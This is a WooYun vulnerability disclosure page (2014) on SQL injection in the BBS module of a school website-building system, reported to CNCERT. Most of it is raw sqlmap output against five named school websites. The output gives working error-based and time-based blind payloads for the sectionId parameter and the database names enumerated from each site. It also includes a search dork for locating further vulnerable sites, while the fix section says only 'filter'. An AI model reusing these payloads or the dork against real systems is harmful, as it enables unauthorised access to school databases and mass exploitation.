当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073196

漏洞标题:某学校建站系统自带的bbs一处sql注入

相关厂商:某学校建站系统

漏洞作者: Mosuan

提交时间:2014-08-20 17:05

修复时间:2014-11-18 17:06

公开时间:2014-11-18 17:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-20: 细节已通知厂商并且等待厂商处理中
2014-08-25: 厂商已经确认,细节仅向厂商公开
2014-08-28: 细节向第三方安全合作伙伴开放
2014-10-19: 细节向核心白帽子及相关领域专家公开
2014-10-29: 细节向普通白帽子公开
2014-11-08: 细节向实习白帽子公开
2014-11-18: 细节向公众公开

简要描述:

rt

详细说明:

关键词

inurl:/BBS/topic.jsp?sectionId=


举几个例子
貌似是这个公司的上海瑞聪网络科技有限公司
多个参数存在注入
随便举几个例子

注入地址:http://qb3z.mhedu.sh.cn/webschool/BBS/topic.jsp?sectionId=ebbs02&boardI
d=ebbs0206&topicId=1000179000000241
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:43:50
[16:43:50] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\qb3z.mhedu.sh.cn\session' as session file
[16:43:50] [INFO] testing connection to the target url
[16:43:51] [INFO] testing if the url is stable, wait a few seconds
[16:43:52] [INFO] url is stable
[16:43:52] [INFO] testing if GET parameter 'sectionId' is dynamic
[16:43:53] [WARNING] GET parameter 'sectionId' appears to be not dynamic
[16:43:53] [INFO] heuristics detected web page charset 'utf-8'
[16:43:53] [INFO] heuristic test shows that GET parameter 'sectionId' might be i
njectable (possible DBMS: MySQL)
[16:43:53] [INFO] testing sql injection on GET parameter 'sectionId'
[16:43:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:44:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:44:06] [INFO] GET parameter 'sectionId' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[16:44:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:44:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:44:28] [INFO] GET parameter 'sectionId' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[16:44:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:44:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'sectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: sectionId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sectionId=ebbs02' AND (SELECT 9362 FROM(SELECT COUNT(*),CONCAT(0x3a
766b653a,(SELECT (CASE WHEN (9362=9362) THEN 1 ELSE 0 END)),0x3a63686c3a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'yDFA'='yDF
A&boardId=ebbs0206&topicId=1000179000000241
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sectionId=ebbs02' AND SLEEP(5) AND 'wAdo'='wAdo&boardId=ebbs0206&to
picId=1000179000000241
---
[16:44:41] [INFO] the back-end DBMS is MySQL
web application technology: JSP, JSP 2.1
back-end DBMS: MySQL 5.0
[16:44:41] [INFO] fetching database names
[16:44:44] [INFO] the SQL query used returns 3 entries
[16:44:45] [INFO] retrieved: information_schema
[16:44:45] [INFO] retrieved: edudb
[16:44:46] [INFO] retrieved: test
available databases [3]:
[*] edudb
[*] information_schema
[*] test
[16:44:46] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[16:44:46] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\qb3z.mhedu.sh.cn'
[*] shutting down at 16:44:46


注入地址:http://www.sh-luochuan.net/webschool/BBS/topic.jsp?topicId=5872&section
Id=ebbs31&boardId=ebbs3102
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:44:35
[16:44:35] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sh-luochuan.net\session' as session file
[16:44:35] [INFO] testing connection to the target url
[16:44:36] [INFO] testing if the url is stable, wait a few seconds
[16:44:38] [INFO] url is stable
[16:44:38] [INFO] testing if GET parameter 'topicId' is dynamic
[16:44:38] [INFO] heuristics detected web page charset 'utf-8'
[16:44:38] [INFO] confirming that GET parameter 'topicId' is dynamic
[16:44:39] [INFO] GET parameter 'topicId' is dynamic
[16:44:39] [WARNING] heuristic test shows that GET parameter 'topicId' might not
be injectable
[16:44:39] [INFO] testing sql injection on GET parameter 'topicId'
[16:44:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:44:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:44:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:44:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:44:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:44:47] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:45:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:45:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:45:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:45:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:45:35] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:45:35] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[16:45:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:45:59] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:46:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:46:02] [INFO] testing 'Oracle AND time-based blind'
[16:46:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:46:25] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:46:53] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:47:23] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:47:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:47:26] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:47:49] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:48:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:48:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:48:47] [WARNING] GET parameter 'topicId' is not injectable
[16:48:47] [INFO] testing if GET parameter 'sectionId' is dynamic
[16:48:48] [WARNING] GET parameter 'sectionId' appears to be not dynamic
[16:48:48] [INFO] heuristic test shows that GET parameter 'sectionId' might be i
njectable (possible DBMS: MySQL)
[16:48:48] [INFO] testing sql injection on GET parameter 'sectionId'
[16:48:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:49:11] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:49:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:49:15] [INFO] GET parameter 'sectionId' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[16:49:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:49:16] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:49:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:49:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'sectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 182 HTTP(s) req
uests:
---
Place: GET
Parameter: sectionId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: topicId=5872&sectionId=ebbs31' AND (SELECT 4740 FROM(SELECT COUNT(*
),CONCAT(0x3a7862683a,(SELECT (CASE WHEN (4740=4740) THEN 1 ELSE 0 END)),0x3a657
7683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AN
D 'SIUv'='SIUv&boardId=ebbs3102
---
[16:49:35] [INFO] the back-end DBMS is MySQL
web application technology: JSP, JSP 2.1
back-end DBMS: MySQL 5.0
[16:49:35] [INFO] fetching database names
[16:49:36] [INFO] the SQL query used returns 4 entries
[16:49:36] [INFO] retrieved: information_schema
[16:49:36] [INFO] retrieved: edudb
[16:49:37] [INFO] retrieved: lcxx
[16:49:37] [INFO] retrieved: test
available databases [4]:
[*] edudb
[*] information_schema
[*] lcxx
[*] test
[16:49:37] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 175 times, 404 (Not Found) - 1 times
[16:49:37] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.sh-luochuan.net'
[*] shutting down at 16:49:37


注入地址:http://yuxiu.qpedu.cn/webschool/BBS/topic.jsp?sectionId=ebbs01&boardId=
ebbs0101&topicId=1000177000000026
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:47:01
[16:47:02] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\yuxiu.qpedu.cn\session' as session file
[16:47:02] [INFO] testing connection to the target url
[16:47:03] [INFO] testing if the url is stable, wait a few seconds
[16:47:05] [INFO] url is stable
[16:47:05] [INFO] testing if GET parameter 'sectionId' is dynamic
[16:47:05] [WARNING] GET parameter 'sectionId' appears to be not dynamic
[16:47:06] [INFO] heuristics detected web page charset 'utf-8'
[16:47:06] [INFO] heuristic test shows that GET parameter 'sectionId' might be i
njectable (possible DBMS: MySQL)
[16:47:06] [INFO] testing sql injection on GET parameter 'sectionId'
[16:47:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:47:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:47:15] [INFO] GET parameter 'sectionId' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[16:47:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:47:16] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:47:37] [INFO] GET parameter 'sectionId' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[16:47:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:47:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'sectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: sectionId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sectionId=ebbs01' AND (SELECT 1918 FROM(SELECT COUNT(*),CONCAT(0x3a
676d773a,(SELECT (CASE WHEN (1918=1918) THEN 1 ELSE 0 END)),0x3a79796d3a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kKYJ'='kKY
J&boardId=ebbs0101&topicId=1000177000000026
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sectionId=ebbs01' AND SLEEP(5) AND 'xzMd'='xzMd&boardId=ebbs0101&to
picId=1000177000000026
---
[16:47:49] [INFO] the back-end DBMS is MySQL
web application technology: JSP, JSP 2.1
back-end DBMS: MySQL 5.0
[16:47:49] [INFO] fetching database names
[16:47:49] [INFO] the SQL query used returns 3 entries
[16:47:50] [INFO] retrieved: information_schema
[16:47:50] [INFO] retrieved: edudb
[16:47:51] [INFO] retrieved: test
available databases [3]:
[*] edudb
[*] information_schema
[*] test
[16:47:51] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[16:47:51] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\yuxiu.qpedu.cn'
[*] shutting down at 16:47:51


注入地址:http://www.wxsbhzx.com:8090/BBS/topic.jsp?sectionId=ebbs02&boardId=ebbs
0201&topicId=439
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:50:03
[16:50:03] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.wxsbhzx.com\session' as session file
[16:50:04] [INFO] testing connection to the target url
[16:50:04] [INFO] testing if the url is stable, wait a few seconds
[16:50:05] [INFO] url is stable
[16:50:05] [INFO] testing if GET parameter 'sectionId' is dynamic
[16:50:06] [WARNING] GET parameter 'sectionId' appears to be not dynamic
[16:50:06] [INFO] heuristics detected web page charset 'utf-8'
[16:50:06] [INFO] heuristic test shows that GET parameter 'sectionId' might be i
njectable (possible DBMS: MySQL)
[16:50:06] [INFO] testing sql injection on GET parameter 'sectionId'
[16:50:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:50:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:50:13] [INFO] GET parameter 'sectionId' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[16:50:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:50:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:50:35] [INFO] GET parameter 'sectionId' is 'MySQL > 5.0.11 AND time-based bl
ind' injectable
[16:50:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:50:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'sectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: sectionId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sectionId=ebbs02' AND (SELECT 5310 FROM(SELECT COUNT(*),CONCAT(0x3a
6164793a,(SELECT (CASE WHEN (5310=5310) THEN 1 ELSE 0 END)),0x3a7770663a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eZIw'='eZI
w&boardId=ebbs0201&topicId=439
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sectionId=ebbs02' AND SLEEP(5) AND 'Yqne'='Yqne&boardId=ebbs0201&to
picId=439
---
[16:50:47] [INFO] the back-end DBMS is MySQL
web application technology: JSP, JSP 2.1
back-end DBMS: MySQL 5.0
[16:50:47] [INFO] fetching database names
[16:50:47] [INFO] the SQL query used returns 3 entries
[16:50:48] [INFO] retrieved: information_schema
[16:50:48] [INFO] retrieved: edudb
[16:50:48] [INFO] retrieved: test
available databases [3]:
[*] edudb
[*] information_schema
[*] test
[16:50:48] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[16:50:48] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.wxsbhzx.com'
[*] shutting down at 16:50:48


注入地址:http://xinling.hpe.sh.cn/BBS/topic.jsp?topicId=635&sectionId=ebbs36&boa
rdId=ebbs3602
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:49:02
[16:49:02] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\xinling.hpe.sh.cn\session' as session file
[16:49:02] [INFO] testing connection to the target url
[16:49:04] [INFO] testing if the url is stable, wait a few seconds
[16:49:06] [INFO] url is stable
[16:49:06] [INFO] testing if GET parameter 'topicId' is dynamic
[16:49:06] [INFO] heuristics detected web page charset 'utf-8'
[16:49:06] [INFO] confirming that GET parameter 'topicId' is dynamic
[16:49:07] [WARNING] GET parameter 'topicId' appears to be not dynamic
[16:49:07] [WARNING] heuristic test shows that GET parameter 'topicId' might not
be injectable
[16:49:07] [INFO] testing sql injection on GET parameter 'topicId'
[16:49:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:49:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:49:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:49:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:49:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:49:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:49:37] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:49:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:49:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:49:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:49:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:49:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:49:44] [INFO] testing 'Oracle AND time-based blind'
[16:49:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:50:09] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:50:09] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[16:50:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:51:00] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:51:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:51:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:51:28] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:51:59] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:52:18] [WARNING] GET parameter 'topicId' is not injectable
[16:52:18] [INFO] testing if GET parameter 'sectionId' is dynamic
[16:52:23] [WARNING] GET parameter 'sectionId' appears to be not dynamic
[16:52:25] [INFO] heuristic test shows that GET parameter 'sectionId' might be i
njectable (possible DBMS: MySQL)
[16:52:25] [INFO] testing sql injection on GET parameter 'sectionId'
[16:52:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:52:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:52:43] [INFO] GET parameter 'sectionId' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[16:52:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:52:43] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:52:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:53:17] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:53:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:53:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'sectionId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 181 HTTP(s) req
uests:
---
Place: GET
Parameter: sectionId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: topicId=635&sectionId=ebbs36' AND (SELECT 7432 FROM(SELECT COUNT(*)
,CONCAT(0x3a6b76683a,(SELECT (CASE WHEN (7432=7432) THEN 1 ELSE 0 END)),0x3a6972
753a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'ZmdL'='ZmdL&boardId=ebbs3602
---
[16:53:48] [INFO] the back-end DBMS is MySQL
web application technology: JSP, JSP 2.1
back-end DBMS: MySQL 5.0
[16:53:48] [INFO] fetching database names
[16:53:49] [INFO] the SQL query used returns 2 entries
[16:53:49] [INFO] retrieved: information_schema
[16:53:49] [INFO] retrieved: edudb
available databases [2]:
[*] edudb
[*] information_schema
[16:53:49] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 170 times, 404 (Not Found) - 2 times
[16:53:49] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xinling.hpe.sh.cn'
[*] shutting down at 16:53:49

漏洞证明:

function

修复方案:

过滤。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-25 09:22

厂商回复:

CNVD确认所述情况,但暂未确认厂商和相关通用性,案例未涉及政府和重要部门、高校等,暂未处置。待认领。

最新状态:

暂无